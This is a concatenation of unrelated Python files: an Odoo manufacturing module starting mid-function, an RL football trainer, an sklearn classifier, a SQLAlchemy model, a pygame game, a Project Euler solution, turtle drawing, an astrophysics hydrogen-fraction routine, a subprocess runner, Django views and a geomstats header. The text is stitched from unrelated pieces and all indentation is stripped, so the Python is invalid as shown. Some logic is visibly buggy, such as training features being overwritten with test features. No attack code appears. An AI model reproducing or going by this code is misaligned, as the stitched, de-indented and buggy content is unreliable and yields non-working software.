qty_avail = scheduled.product_qty - consumed_data.get(scheduled.product_id.id, 0.0)
print qty_avail
if qty_avail <= 0.0:
# there will be nothing to consume for this raw material
continue
raw_product = [move for move in production.move_lines if move.product_id.id == scheduled.product_id.id]
print raw_product
if raw_product:
# qtys we have to consume
qty = total_consume - consumed_data.get(scheduled.product_id.id, 0.0)
if float_compare(qty, qty_avail, precision_rounding=scheduled.product_id.uom_id.rounding) == 1:
# if qtys we have to consume is more than qtys available to consume
prod_name = scheduled.product_id.name_get()[0][1]
raise osv.except_osv(_('Warning!'), _('You are going to consume total %s quantities of "%s".\nBut you can only consume up to total %s quantities.') % (qty, prod_name, qty_avail))
if qty <= 0.0:
# we already have more qtys consumed than we need
continue
qty_validator = qty
for r in raw_product:
r.action_consume(qty, r.location_id.id, context=context)
qty_validator -=1
if qty_validator < 1:
break
if production_mode == 'consume_produce':
# To produce remaining qty of final product
#vals = {'state':'confirmed'}
#final_product_todo = [x.id for x in production.move_created_ids]
#stock_mov_obj.write(cr, uid, final_product_todo, vals)
#stock_mov_obj.action_confirm(cr, uid, final_product_todo, context)
produced_products = {}
for produced_product in production.move_created_ids2:
if produced_product.scrapped:
continue
if not produced_products.get(produced_product.product_id.id, False):
produced_products[produced_product.product_id.id] = 0
produced_products[produced_product.product_id.id] += produced_product.product_qty
for produce_product in production.move_created_ids:
produced_qty = produced_products.get(produce_product.product_id.id, 0)
subproduct_factor = self._get_subproduct_factor(cr, uid, production.id, produce_product.id, context=context)
rest_qty = (subproduct_factor * production.product_qty) - produced_qty
if rest_qty < (subproduct_factor * production_qty):
prod_name = produce_product.product_id.name_get()[0][1]
raise osv.except_osv(_('Warning!'), _('You are going to produce total %s quantities of "%s".\nBut you can only produce up to total %s quantities.') % ((subproduct_factor * production_qty), prod_name, rest_qty))
print produced_qty
print rest_qty
if rest_qty > 0 :
if production_qty <2:
stock_mov_obj.action_consume(cr, uid, [produce_product.id], (subproduct_factor * production_qty), context=context)
else:
vl_production=production_qty
while vl_production > 0:
if not id_motriz:
stock_mov_obj.action_consume(cr, uid, [produce_product.id], (subproduct_factor * production_qty), context=context)
vl_production -= production_qty
else:
stock_mov_obj.action_consume(cr, uid, [produce_product.id], (subproduct_factor * 1), context=context)
vl_production -= 1
for raw_product in production.move_lines2:
new_parent_ids = []
parent_move_ids = [x.id for x in raw_product.move_history_ids]
for final_product in production.move_created_ids2:
if final_product.id not in parent_move_ids:
new_parent_ids.append(final_product.id)
for new_parent_id in new_parent_ids:
stock_mov_obj.write(cr, uid, [raw_product.id], {'move_history_ids': [(4,new_parent_id)]})
wf_service.trg_validate(uid, 'mrp.production', production_id, 'button_produce_done', cr)
for ui in obj_produccion.move_lines2:
if ui.product_id.id == id_producto_motriz and ui.usada == False:
serial.append({'id':ui.id,'serial':ui.prodlot_id.name})
# si hay serial se ingresa en el producto terminado
if serial:
for u in obj_produccion.move_created_ids2:
for i in serial:
id_serial=self.pool.get('stock.production.lot').create(cr,uid,{'name':i['serial'],'product_id':u.product_id.id})
stock_mov_obj.write(cr,uid,i['id'],{'usada':True})
stock_mov_obj.write(cr,uid,u.id,{'prodlot_id':id_serial})
serial.pop(0)
break
return True
def _make_production_consume_line(self, cr, uid, production_line, parent_move_id, source_location_id=False, context=None):
stock_move = self.pool.get('stock.move')
production = production_line.production_id
# Internal shipment is created for Stockable and Consumer Products
if production_line.product_id.type not in ('product', 'consu'):
return False
destination_location_id = production.product_id.property_stock_production.id
#buscar producto motriz
print production.bom_id.id
obj_lista_materiales = self.pool.get('mrp.bom').browse(cr,uid,production.bom_id.id)
id_producto_motriz = False
validar_producto = True
for o in obj_lista_materiales.bom_lines:
if o.motriz == True:
id_motriz= o.id
id_producto_motriz = o.product_id.id
break
#finaliza la busqueda
if not source_location_id:
source_location_id = production.location_src_id.id
if id_producto_motriz:
if id_producto_motriz == production_line.product_id.id:
validar_producto = False
if not validar_producto:
if production_line.product_qty < 2:
move_id = stock_move.create(cr, uid, {
'name': production.name,
'date': production.date_planned,
'product_id': production_line.product_id.id,
'product_qty': production_line.product_qty,
'product_uom': production_line.product_uom.id,
'product_uos_qty': production_line.product_uos and production_line.product_uos_qty or False,
'product_uos': production_line.product_uos and production_line.product_uos.id or False,
'location_id': source_location_id,
'location_dest_id': destination_location_id,
'move_dest_id': parent_move_id,
'state': 'waiting',
'validar_vista': True,
'company_id': production.company_id.id,
'mtr' : True,
})
else:
cantidad = production_line.product_qty
while cantidad > 0:
move_id = stock_move.create(cr, uid, {
'name': production.name,
'date': production.date_planned,
'product_id': production_line.product_id.id,
'product_qty': 1,
'product_uom': production_line.product_uom.id,
'product_uos_qty': production_line.product_uos and production_line.product_uos_qty or False,
'product_uos': production_line.product_uos and production_line.product_uos.id or False,
'location_id': source_location_id,
'location_dest_id': destination_location_id,
'move_dest_id': parent_move_id,
'state': 'waiting',
'validar_vista': True,
'company_id': production.company_id.id,
'mtr' : True,
})
production.write({'move_lines': [(4, move_id)]}, context=context)
cantidad -= 1
return move_id
else:
move_id = stock_move.create(cr, uid, {
'name': production.name,
'date': production.date_planned,
'product_id': production_line.product_id.id,
'product_qty': production_line.product_qty,
'product_uom': production_line.product_uom.id,
'product_uos_qty': production_line.product_uos and production_line.product_uos_qty or False,
'product_uos': production_line.product_uos and production_line.product_uos.id or False,
'location_id': source_location_id,
'location_dest_id': destination_location_id,
'move_dest_id': parent_move_id,
'state': 'waiting',
'validar_vista': True,
'company_id': production.company_id.id,
})
production.write({'move_lines': [(4, move_id)]}, context=context)
return move_id
def onchange_line_consume(self,cr,uid,ids,lines,context=None):
stock_move = self.pool.get('stock.move')
try:
lines = lines[2]
except:
lines = lines[0][2]
ids = False
if lines:
ids = lines[len(lines)-1]
if ids:
stock_move.write(cr, uid,ids,{'validar_vista': True})
return True
mrp_production()
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
import os
import numpy as np
import random
import json
# import gym
import gfootball.env as football_env
from optparse import OptionParser
import torch
from torch.utils.tensorboard import SummaryWriter
from ddpg import OrnsteinUhlenbeckNoise, DDPG
from ppo import PPO
from td3 import TD3
from create_logger import create_logger, print_and_log, print_and_write
parser = OptionParser()
parser.add_option("-m", "--model", dest="model", type="str", help="The model/algorithm which to be used. (DDPG, TD3 or PPO)", default='DDPG')
parser.add_option("-e", "--env", dest="env", type="str", help="Which environment to run the experiment. (academy_3_vs_1_with_keeper or academy_empty_goal)", default='academy_3_vs_1_with_keeper')
parser.add_option("-g", "--gamma", dest="gamma", type="float", help="The discount factor", default=0.98)
parser.add_option("-t", "--tau", dest="tau", type="float", help="The factor for target network soft update", default=0.005)
parser.add_option("-b", "--buffer_size", dest="buffer_size", type="int", help="The size of the replay buffer", default=200000)
parser.add_option("--learning_rate", dest="learning_rate", type="float", help="The learning rate for PPO", default=0.0005)
parser.add_option("--clip_param", dest="clip_param", type="float", help="The clip parameter for PPO value loss", default=0.2)
parser.add_option("--device", dest="device", type="str", help="The device to run the experiment. (cuda or cpu)", default='cpu')
parser.add_option("--update_times", dest="update_times", type="int", help="The number of updates every episode", default=5)
parser.add_option("--max_episodes", dest="max_episodes", type="int", help="The maximum number of episodes", default=500000)
cfg, in_args = parser.parse_args()
def trainDDPG(env, writer, logger):
# create model
model = DDPG(action_dim=1,
num_actions=env.action_space.n,
gamma=cfg.gamma,
tau=cfg.tau,
buffer_size=cfg.buffer_size,
batch_size=cfg.batch_size,
lr_critic=cfg.lr_critic,
lr_actor=cfg.lr_actor,
update_times=cfg.update_times,
input_type='vector',
input_feature=env.observation_space.shape[0],
device=cfg.device)
# ou_noise = OrnsteinUhlenbeckNoise(mu=np.zeros(1))
score = 0.0
training_steps = 0
for i_episode in range(cfg.max_episodes):
# change the probability of random action according to the training process
epsilon = max(cfg.min_epsilon, cfg.max_epsilon - 0.01 * (i_episode / cfg.epsilon_decay))
obs = env.reset()
steps = 0
epi_reward = 0.0
done = False
while not done:
action = model.sampleAction(obs, epsilon)
next_obs, reward, done, _ = env.step(action)
done_mask = 0.0 if done else 1.0
# save the data into the replay buffer
model.memory.insert((obs, action, reward, next_obs, done_mask))
# record the data
score += reward
training_steps += 1
steps += 1
epi_reward += reward
obs = next_obs
# learn the model according to the learning frequency.
if i_episode >= cfg.learning_start and i_episode % cfg.learning_freq == 0:
epi_critic_loss, epi_actor_loss = model.learn()
epi_loss = epi_critic_loss + epi_actor_loss
writer.add_scalar('critic_loss-episode', epi_critic_loss, global_step=i_episode)
writer.add_scalar('critic_loss-training_steps', epi_critic_loss, global_step=training_steps)
writer.add_scalar('actor_loss-episode', epi_actor_loss, global_step=i_episode)
writer.add_scalar('actor_loss-training_steps', epi_actor_loss, global_step=training_steps)
writer.add_scalar('loss-episode', epi_loss, global_step=i_episode)
writer.add_scalar('loss-training_steps', epi_loss, global_step=training_steps)
writer.add_scalar('steps-episode', steps, global_step=i_episode)
writer.add_scalar('rewards-episode', epi_reward, global_step=i_episode)
if i_episode % cfg.print_interval == 0 and i_episode > 0:
print_and_write(
"episode: {}, training steps: {}, avg score: {:.2f}, critic_loss: {:.5f}, actor_loss: {:.5f}, loss: {:.5f}, buffer size: {}, epsilon:{:.2f}%"
.format(i_episode, training_steps, score / cfg.print_interval, epi_critic_loss,
epi_actor_loss, epi_loss, model.memory.size(), epsilon * 100), logger)
score = 0.0
# test the model with epsilon=0.0
if i_episode % cfg.test_freq == 0 and i_episode > 0:
test_score = 0.0
for t in range(cfg.test_episodes):
obs = env.reset()
done = False
while not done:
action = model.sampleAction(obs)
next_obs, reward, done, _ = env.step(action)
test_score += reward
obs = next_obs
print_and_write('******************Test result******************', logger)
print_and_write("avg score: {:.2f}".format(test_score / cfg.test_episodes), logger)
print_and_write('***********************************************', logger)
def trainTD3(env, writer, logger):
# create model
model = TD3(num_actions=env.action_space.n,
gamma=cfg.gamma,
tau=cfg.tau,
buffer_size=cfg.buffer_size,
batch_size=cfg.batch_size,
lr_critic=cfg.lr_critic,
lr_actor=cfg.lr_actor,
update_times=cfg.update_times,
input_type='vector',
input_feature=env.observation_space.shape[0],
device=cfg.device)
# ou_noise = OrnsteinUhlenbeckNoise(mu=np.zeros(1))
score = 0.0
training_steps = 0
for i_episode in range(cfg.max_episodes):
# change the probability of random action according to the training process
epsilon = max(cfg.min_epsilon, cfg.max_epsilon - 0.01 * (i_episode / cfg.epsilon_decay))
obs = env.reset()
steps = 0
epi_reward = 0.0
done = False
while not done:
action = model.sampleAction(obs, epsilon)
next_obs, reward, done, _ = env.step(action)
done_mask = 0.0 if done else 1.0
# save the data into the replay buffer
model.memory.insert((obs, action, reward, next_obs, done_mask))
# record the data
score += reward
training_steps += 1
steps += 1
epi_reward += reward
obs = next_obs
# learn the model according to the learning frequency.
if i_episode >= cfg.learning_start and i_episode % cfg.learning_freq == 0:
epi_critic_1_loss, epi_critic_2_loss, epi_actor_loss = model.learn()
writer.add_scalar('critic_1_loss-episode', epi_critic_1_loss, global_step=i_episode)
writer.add_scalar('critic_2_loss-episode', epi_critic_2_loss, global_step=i_episode)
writer.add_scalar('actor_loss-episode', epi_actor_loss, global_step=i_episode)
writer.add_scalar('steps-episode', steps, global_step=i_episode)
writer.add_scalar('rewards-episode', epi_reward, global_step=i_episode)
if i_episode % cfg.print_interval == 0 and i_episode > 0:
print_and_write(
"episode: {}, training steps: {}, avg score: {:.2f}, critic_1_loss: {:.5f}, critic_2_loss: {:.5f}, actor_loss: {:.5f}, buffer size: {}, epsilon:{:.2f}%"
.format(i_episode, training_steps, score / cfg.print_interval, epi_critic_1_loss,
epi_critic_2_loss, epi_actor_loss, model.memory.size(), epsilon * 100), logger)
score = 0.0
# test the model with epsilon=0.0
if i_episode % cfg.test_freq == 0 and i_episode > 0:
test_score = 0.0
for t in range(cfg.test_episodes):
obs = env.reset()
done = False
while not done:
action = model.sampleAction(obs)
next_obs, reward, done, _ = env.step(action)
test_score += reward
obs = next_obs
print_and_write('******************Test result******************', logger)
print_and_write("avg score: {:.2f}".format(test_score / cfg.test_episodes), logger)
print_and_write('***********************************************', logger)
def trainPPO(env, writer, logger):
# create model
model = PPO(action_space=env.action_space,
clip_param=cfg.clip_param,
value_loss_coef=cfg.value_loss_coef,
entropy_coef=cfg.entropy_coef,
learning_rate=cfg.learning_rate,
update_times=cfg.update_times,
input_type='vector',
input_feature=env.observation_space.shape[0],
max_grad_norm=cfg.max_grad_norm,
device=cfg.device)
score = 0.0
training_steps = 0
for i_episode in range(cfg.max_episodes):
obs = env.reset()
steps = 0
epi_reward = 0.0
done = False
while not done:
for t in range(cfg.T_horizon):
with torch.no_grad():
action, prob_a = model.sampleAction(obs)
next_obs, reward, done, _ = env.step(action)
done_mask = 0.0 if done else 1.0
# save the data into the replay buffer
model.insert((obs, action, reward, next_obs, prob_a.item(), done_mask))
# record the data
score += reward
training_steps += 1
steps += 1
epi_reward += reward
if done:
break
obs = next_obs
value_loss_epoch, action_loss_epoch, dist_entropy_epoch = model.learn()
writer.add_scalar('value_loss-episode', value_loss_epoch, global_step=i_episode)
writer.add_scalar('action_loss-episode', action_loss_epoch, global_step=i_episode)
writer.add_scalar('dist_entropy-episode', dist_entropy_epoch, global_step=i_episode)
writer.add_scalar('steps-episode', steps, global_step=i_episode)
writer.add_scalar('rewards-episode', epi_reward, global_step=i_episode)
if i_episode % cfg.print_interval == 0 and i_episode > 0:
print_and_write(
"episode: {}, training steps: {}, avg score: {:.2f}, value_loss: {:.5f}, action_loss: {:.5f}, dist_entropy: {:.5f}"
.format(i_episode, training_steps, score / cfg.print_interval, value_loss_epoch,
action_loss_epoch, dist_entropy_epoch), logger)
score = 0.0
# test the model with epsilon=0.0
if i_episode % cfg.test_freq == 0 and i_episode > 0:
test_score = 0.0
for t in range(cfg.test_episodes):
obs = env.reset()
done = False
while not done:
action, _ = model.sampleAction(obs)
next_obs, reward, done, _ = env.step(action)
test_score += reward
obs = next_obs
print_and_write('******************Test result******************', logger)
print_and_write("avg score: {:.2f}".format(test_score / cfg.test_episodes), logger)
print_and_write('***********************************************', logger)
if __name__ == '__main__':
cfg.min_epsilon = 0.01
cfg.max_epsilon = 0.5
cfg.print_interval = 100
cfg.learning_start = 100
cfg.test_episodes = 100
cfg.batch_size = 32
cfg.learning_freq = 1
cfg.lr_critic = 0.005
cfg.lr_actor = 0.0025
# specific config
if cfg.env == 'academy_empty_goal':
cfg.test_freq = 2000
cfg.epsilon_decay = 6000
elif cfg.env == 'academy_3_vs_1_with_keeper':
cfg.test_freq = 5000
cfg.epsilon_decay = 30000
# create output path
cur_dir = os.path.abspath(os.curdir)
root_output_path = os.path.join(cur_dir, 'output')
if not os.path.exists(root_output_path):
os.mkdir(root_output_path)
logger_path, final_output_path = create_logger(root_output_path, cfg)
logger = open(logger_path, 'w')
writer = SummaryWriter(log_dir=os.path.join(final_output_path, 'tb'))
print('******************Called with config******************')
print(cfg)
print('******************************************************')
# create env
# env = gym.make('CartPole-v0') # CartPole as a simple discrete task for testing the algorithm
env = football_env.create_environment(env_name=cfg.env,
representation='simple115',
number_of_left_players_agent_controls=1,
stacked=False,
logdir='./output/',
write_goal_dumps=False,
write_full_episode_dumps=False,
render=False)
if cfg.model == 'DDPG':
trainDDPG(env, writer, logger)
elif cfg.model == 'TD3':
trainTD3(env, writer, logger)
elif cfg.model == 'PPO':
cfg.value_loss_coef = 0.5
cfg.entropy_coef = 0.01
cfg.max_grad_norm = 0.5
cfg.update_times = 4
cfg.T_horizon = 32
trainPPO(env, writer, logger)
env.close()
logger.close()
|
import numpy as np
import sys
import os
import glob
from sklearn import preprocessing
from sklearn import svm
from ConfigParser import *
from sklearn.linear_model import LogisticRegression
#~ expDir = '/home/mzanotto/renvision/experiments/P29_01_04_16/'+str(sys.argv[1])+'/'
os.chdir('/run/media/mzanotto/dataFast/toAnalize')
os.chdir('/home/mzanotto/renvision/experiments/P29_01_04_16/toAnalize')
os.chdir('/home/mzanotto/renvision/experiments/P29_01_04_16/new/am')
#~ os.chdir('/home/mzanotto/renvision/experiments/P29_01_04_16/new/norm/')
expDirs = []
k_All = []
epochs_All = []
resultsTrain_All = []
resultsTest_All = []
for expDir in glob.glob('**'):
expDir = './'+expDir+'/'
#~ lin_clf = svm.LinearSVC(C=10)
lin_clf = LogisticRegression(C=10.0)
for epochs in ['300']:
for k in [1000]:
#~ for epochs in ['200']:
#~ for k in [300]:
#~ try:
#~ bowTrain = np.load(expDir+'bow'+str(k)+'_'+epochs+'.npy')
#~ bowTest = np.load(expDir+'bow_test'+str(k)+'_'+epochs+'.npy')
#~ except:
#~ continue
try:
bowTrain = np.load(expDir+'bow'+str(k)+'_'+epochs+'.npy')
bowTest = np.load(expDir+'bow_test'+str(k)+'_'+epochs+'.npy')
except:
continue
bowTrain = bowTrain/(np.array([np.sum(bowTrain,1).T]*bowTrain.shape[1]).T)
bowTrain = bowTest/(np.array([np.sum(bowTest,1).T]*bowTest.shape[1]).T)
print '....................................................'
print expDir
print 'epochs =',epochs
#~ print testLabels
print 'k =',str(k)
confusionMatrix = np.zeros((7,7))
labelsTrain = np.load(expDir+'labels_'+epochs+'.npy')
labelsTest = np.load(expDir+'labels_test_'+epochs+'.npy')
for i in range(len(labelsTrain)):
labelsTrain[i] = labelsTrain[i].split('_')[0]+'_'+labelsTrain[i].split('_')[-1]
for i in range(len(labelsTest)):
labelsTest[i] = labelsTest[i].split('_')[0]+'_'+labelsTest[i].split('_')[-1]
le = preprocessing.LabelEncoder()
actions = np.unique(labelsTrain)
le.fit(labelsTrain)
labelsTrain = le.transform(labelsTrain)
le.fit(labelsTest)
labelsTest = le.transform(labelsTest)
le.fit(actions)
actionsIdx = le.transform(actions)
for i,j in zip(actionsIdx,actions):
print i,j
try:
lin_clf.fit(bowTrain,labelsTrain)
except:
continue
resultsTrain = lin_clf.predict(bowTrain)
resultsTest = lin_clf.predict(bowTest)
print labelsTrain
print resultsTrain
print labelsTest
print resultsTest
print 'Train results:',100.*len(np.where(resultsTrain==labelsTrain)[0])/len(labelsTrain)
print 'Test results:',100.*len(np.where(resultsTest==labelsTest)[0])/len(labelsTest)
for i in range(7):
resultsTest_tmp = resultsTest[labelsTest==i]
for j in range(7):
try:
confusionMatrix[i,j] = 100.*len(np.where(resultsTest_tmp==j)[0])/len(resultsTest_tmp)
except:
continue
print confusionMatrix.astype(int)
expDirs.append(expDir)
k_All.append(k)
epochs_All.append(epochs)
resultsTrain_All.append(100.*len(np.where(resultsTrain==labelsTrain)[0])/len(labelsTrain))
resultsTest_All.append(100.*len(np.where(resultsTest==labelsTest)[0])/len(labelsTest))
for i in range(len(resultsTest_All)):
print np.sort(resultsTest_All)[i],np.array(epochs_All)[np.argsort(resultsTest_All)][i],np.array(k_All)[np.argsort(resultsTest_All)][i],np.array(expDirs)[np.argsort(resultsTest_All)][i]
|
"""User model"""
from sqlalchemy import Column, Integer, String, ARRAY, Text
from models.db import Model
from models.base_object import BaseObject
class AudioPilot(BaseObject, Model):
id = Column(Integer, primary_key=True)
userID = Column(Text(length=10000))
date = Column(Text(length=10000))
startTime = Column(Text(length=10000))
qnNum = Column(Text(length=10000))
qnTime = Column(Text(length=10000))
qnRT = Column(Text(length=10000))
soundIndex = Column(Text(length=10000))
soundFocus = Column(Text(length=10000))
freqFocus = Column(Text(length=10000))
volume = Column(Text(length=10000))
volumePer = Column(Text(length=10000))
checkBox = Column(Text(length=10000))
playNum = Column(Text(length=10000))
averRating = Column(Text(length=10000))
arouRating = Column(Text(length=10000))
averRatingDef = Column(Text(length=10000))
arouRatingDef = Column(Text(length=10000))
def get_id(self):
return str(self.id)
def get_user_id(self):
return str(self.userID)
def get_date(self):
return str(self.date)
def get_start_time(self):
return str(self.startTime)
def get_qn_num(self):
return str(self.qnNum)
def get_qn_time(self):
return str(self.qnTime)
def get_qn_RT(self):
return str(self.qnRT)
def get_sound_indx(self):
return str(self.soundIndex)
def get_sound_name(self):
return str(self.soundFocus)
def get_freq_name(self):
return str(self.freqFocus)
def get_volume(self):
return str(self.volume)
def get_volume_per(self):
return str(self.volumePer)
def get_checkbox(self):
return str(self.checkBox)
def get_playNum(self):
return str(self.playNum)
def get_aver(self):
return str(self.averRating)
def get_arou(self):
return str(self.arouRating)
def get_aver_def(self):
return str(self.averRatingDef)
def get_arou_def(self):
return str(self.arouRatingDef)
def errors(self):
errors = super(AudioPilot, self).errors()
return errors
|
import pygame
from settings import Settings
from ship import Ship
import game_functions as gf
from pygame.sprite import Group
from alien import Alien
from game_stats import GameStats
from button import Button
from bullet import Bullet
def runGame():
pygame.init()
alien_settings=Settings()
screen=pygame.display.set_mode((alien_settings.screenWidth,alien_settings.screenHeight)) #设置游戏屏幕的尺寸
pygame.display.set_caption('alien')
playButton = Button(alien_settings,screen,"play")
stats = GameStats(alien_settings)
#alien = Alien(alien_settings,screen) #创建一个外星人
ship=Ship(alien_settings,screen) #创建一艘飞船
bullet = Bullet(alien_settings,screen,ship)
bullets = Group() #创建一个用于储存子弹的数组
aliens = Group()
gf.createFleet(alien_settings,screen,ship,aliens)
while True:
gf.checkEvents(alien_settings,screen,stats,playButton,ship,aliens,bullets,bullet) #响应按键和鼠标事件
if stats.gameActive:
ship.update() #修改飞船的位置
gf.fireBullet(alien_settings,screen,ship,bullets,bullet)
gf.updateBullets(alien_settings,screen,ship,aliens,bullets) #检查子弹,超过屏幕后把它删除
gf.updateAliens(alien_settings,stats,screen,ship,aliens,bullets)
gf.updateScreen(alien_settings,screen,stats,ship,aliens,bullets,playButton) #重新绘制屏幕
runGame() |
'''
The number, 1406357289, is a 0 to 9 pandigital number because it is made up of each of the digits 0 to 9
in some order, but it also has a rather interesting sub-string divisibility property.
Let d1 be the 1st digit, d2 be the 2nd digit, and so on. In this way, we note the following:
d2d3d4=406 is divisible by 2
d3d4d5=063 is divisible by 3
d4d5d6=635 is divisible by 5
d5d6d7=357 is divisible by 7
d6d7d8=572 is divisible by 11
d7d8d9=728 is divisible by 13
d8d9d10=289 is divisible by 17
Find the sum of all 0 to 9 pandigital numbers with this property.
'''
# -*- coding: utf-8 -*
def f():
p = [2, 3, 5, 7, 11, 13, 17]
d3 = list(map(lambda i:possible3DigitsNumbers(p[i]), range(7)))
possibleDigits = d3[6]
for i in range(3, 9):
possibleDigits = joinDigitsNumbers(possibleDigits, i, d3[8 - i])
pandigitalNumbers = list(map(lambda d:int((list(set('0123456789') - set(str(d))))[0] + str(d)), possibleDigits))
# print(pandigitalNumbers)
print(sum(pandigitalNumbers))
def possible3DigitsNumbers(divisible):
return list(filter(lambda x:len(set(str(x))) == 3 or (x < 100 and x % 11 != 0), \
map(lambda m:m * divisible, range(1, 1000 // divisible))))
def joinDigitsNumbers(rDigitsNumbers, rDigits, lDigitsNumbers):
joined = []
m = 10 ** (rDigits - 2)
for r in rDigitsNumbers:
for l in lDigitsNumbers:
if l < 100 and len(str(r)) < rDigits:
continue
if r // m == l % 100 and str(l // 100) not in str(r):
joined.append(l * m + r % m)
return joined
f()
|
print ("hello new feature")
|
#first we need turtle to do the magic
'''No! Not the real old ugly (sometimes cute-only the baby) kind of turtles. I am talking about the -magician-
turtle-module'''
import turtle #this is to import the library. As Simple as that
''' Everything here is pretty straight forward. Take a look at it. It will make sense'''
turtle.circle(90)
turtle.left(90)
turtle.forward(180)
turtle.backward(90)
turtle.left(140)
turtle.forward(90)
turtle.backward(90)
turtle.left(90)
turtle.forward(90)
turtle.penup()
turtle.forward(200)
turtle.pendown()
turtle.circle(90)
turtle.left(90)
turtle.forward(90)
turtle.right(90)
turtle.forward(90)
turtle.backward(90)
turtle.left(130)
turtle.forward(90)
turtle.backward(180)
turtle.left(90)
turtle.penup()
turtle.forward(250)
turtle.pendown()
turtle.circle(90)
turtle.left(90)
turtle.forward(180)
turtle.backward(90)
turtle.left(45)
turtle.forward(90)
turtle.backward(90)
turtle.right(90)
turtle.forward(90)
'''P.S:: Support World Peace'''
turtle.right(90)
turtle.penup()
turtle.forward(300)
turtle.pendown()
turtle.circle(90)
turtle.left(90)
turtle.penup()
turtle.forward(90)
turtle.pendown()
turtle.forward(90)
turtle.backward(90)
turtle.left(90)
turtle.forward(90)
turtle.backward(90)
turtle.right(45)
turtle.forward(90)
turtle.backward(180)
'''Just copy and paste it in your IDE to see how it works'''
|
from samson_const import *
import numpy as np
def calnH(Gmas,Gnh,KernalLengths,density,Gmetal):
#Inputs = Mass, NeutralHydrogenAbundance, Kernal Length, density, metallicity
#Unit: Mass (1e10 Msun), .., kpc, 1e10Musn/kpc^3, ...
#Convert to cgs
Gmas = Gmas*1e10*Msun_in_g
KernalLengths = KernalLengths*kpc_in_cm
density = density*1e10*Msun_in_g/kpc_in_cm/kpc_in_cm/kpc_in_cm
Z = Gmetal[:,0] #metal mass fraction (everything not H, He)
ZHe = Gmetal[:,1] # He mass fraction
M_H = proton_mass_in_g
#M_H = 1.67353269159582103*10**(-27)*(1000.0/unit_M) ##kg to g to unit mass
#mu_H = 2.3*10**(-27)*(1000.0/unit_M) #'average' mass of hydrogen nucleus from Krumholz&Gnedin 2011
mu_H = mu_H_in_g
#sigma_d21 = 1 #dust cross section per H nucleus to 1000 A radiation normalized to MW val
#R_16 = 1 #rate coefficient for H2 formation on dust grains, normalized to MW val. Dividing these two cancels out metallicity dependence, so I'm keeping as 1
#chi = 71*(sigma_d21/R_16)*G_o/Gnh #Scaled Radiation Field
Z_MW = 0.02 #Assuming MW metallicity is ~solar on average (Check!!)
Z_solar = 0.02 #From Gizmo documentation
sobColDens =np.multiply(KernalLengths,density) #Cheesy approximation of Column density
sigma_d = 1e-21*Z/Z_MW #cross section in cm^2
tau = np.multiply(sobColDens,sigma_d)*1/(mu_H)
chi = 3.1 * (1+3.1*np.power(Z/Z_solar,0.365)) / 4.1 #Approximation
s = np.divide( np.log(1.0+0.6*chi+0.01*np.square(chi)) , (0.6 *tau) )
fH2 = np.divide((1.0 - 0.5*s) , (1+0.25*s)) #Fraction of Molecular Hydrogen (over total complex mass) from Krumholz & Knedin
fH2[fH2<0] = 0 #Nonphysical negative molecular fractions set to 0
fHI = 1.0-fH2 #Gnh doesn't account for He and metals
#nHI = np.multiply(Gmas,fHI) / M_H #Number of HI atoms in particles
mHI = Gmas*fHI*(1.0-(Z+ZHe))*Gnh #Mass of HI atoms in particles
mH2 = Gmas*fH2*(1.0-(Z+ZHe))*Gnh #Mass of H2 in particles
mHII = (1.0-(Z+ZHe))*Gmas*(1.0-Gnh)
return {'NHI':mHI/M_H, 'NH2':mH2/M_H, 'NHII':mHII/M_H,
'mHII_in_g':mHII, 'mH2_in_g':mH2, 'mHI_in_g':mHI,'fH2':fH2,'fHI':fHI}
|
#tools library for use between playing with different scripts
#creates a random array with the length(count) and minimum/maximum number for the random int(mini/maxi)
def randomArray(count, mini, maxi):
import random
i = 0
temp = []
while i < count:
temp.append(random.randint(mini, maxi))
i += 1
#returns temp so it can be used with the outside array in an array = randArray(parameters) format
return temp
#creates a "quant" number of skipLns for organizing output
def skipLn(quant):
skipLn = 0
while skipLn < quant:
print()
skipLn += 1
def repeat(char, freq):
temp = ""
i = 0
while i < freq:
temp += char
i += 1
print(temp)
def repeatC(char, freq):
temp = ""
i = 0
while i < freq:
temp += char
i += 1
print()
print(temp)
print() |
import logging
import os
import tempfile
import threading
import time
from pteromyini.core.runner.feature_worker import FeatureWorker
from pteromyini.lib.design_pattern.observer import Event
import subprocess
class SubprocessRunner:
def __init__(self):
self.log = logging.getLogger(__name__)
self.workers = []
self.run_thread = None
self.last_time_start_process = 0
self.run_delay = 3
# events
self.add_worker_event = Event()
self.complete_worker_event = Event()
self.error_event = Event() # all be done
def add_worker(self, worker: FeatureWorker):
# delay between start process
if time.time() - self.last_time_start_process < self.run_delay:
time.sleep(self.run_delay - time.time() + self.last_time_start_process)
self.last_time_start_process = time.time()
# run subprocess
self.add_worker_event(worker)
self.workers.append(worker)
self.log.info(f'worker run cmd:{worker.cmd}')
subprocess.Popen("pip show Innovation_group_utils",
shell=True,
stdout=worker.log_file_descriptor,
stderr=worker.log_file_descriptor)
process = subprocess.Popen(worker.cmd,
shell=True,
stdout=worker.log_file_descriptor,
stderr=worker.log_file_descriptor)
worker.subprocess = process
worker.log_action({'cmd': 'run_process'})
# check the process state in cycling
if self.run_thread is None:
self.run_thread = threading.Thread(target=self._run)
self.run_thread.start()
@property
def count_workers(self):
return len(self.workers)
def _run(self):
try:
while len(self.workers):
complete_workers = []
for worker in self.workers:
if worker.subprocess is None:
logging.warning(f'_run worker.subprocess is None \n\tworker.file_path:{worker.file_path}')
continue
if worker.subprocess.poll() is not None:
worker.subprocess = None
complete_workers.append(worker)
for worker in complete_workers:
self.workers.remove(worker)
self.complete_worker_event(worker)
time.sleep(1)
except Exception as e:
self.run_thread = None
if self.error_event is not None:
self.error_event(e)
finally:
self.run_thread = None
def destroy(self):
self.error_event = None
self.workers = []
|
from django.shortcuts import render
from rest_framework import viewsets
from task_management.models import TaskList
from task_management.serializers import TaskSerializer
from django.contrib.auth.models import User
from rest_framework import permissions
from django.views.generic import TemplateView
from django.views.generic.base import View
from django.utils.decorators import method_decorator
from django.contrib.auth.decorators import login_required
#Create your views here.
class TaskView(viewsets.ModelViewSet):
permission_classes = [permissions.IsAuthenticated]
def get_queryset(self):
user = User.objects.get(username= self.request.user)
return TaskList.objects.filter(username = user).order_by('created_date')
serializer_class = TaskSerializer
class TaskUi(View):
@method_decorator(login_required)
def get(self,request):
user = User.objects.get(username= self.request.user)
data = {
'user_id':user.id,
'username':self.request.user
}
return render(request,'task_management/index.html',context=data)
|
"""
Computations on the n-dimensional sphere
embedded in the (n+1)-dimensional Euclidean space.
"""
import logging
import math
import numpy as np
from geomstats.euclidean_space import EuclideanMetric
from geomstats.manifold import Manifold
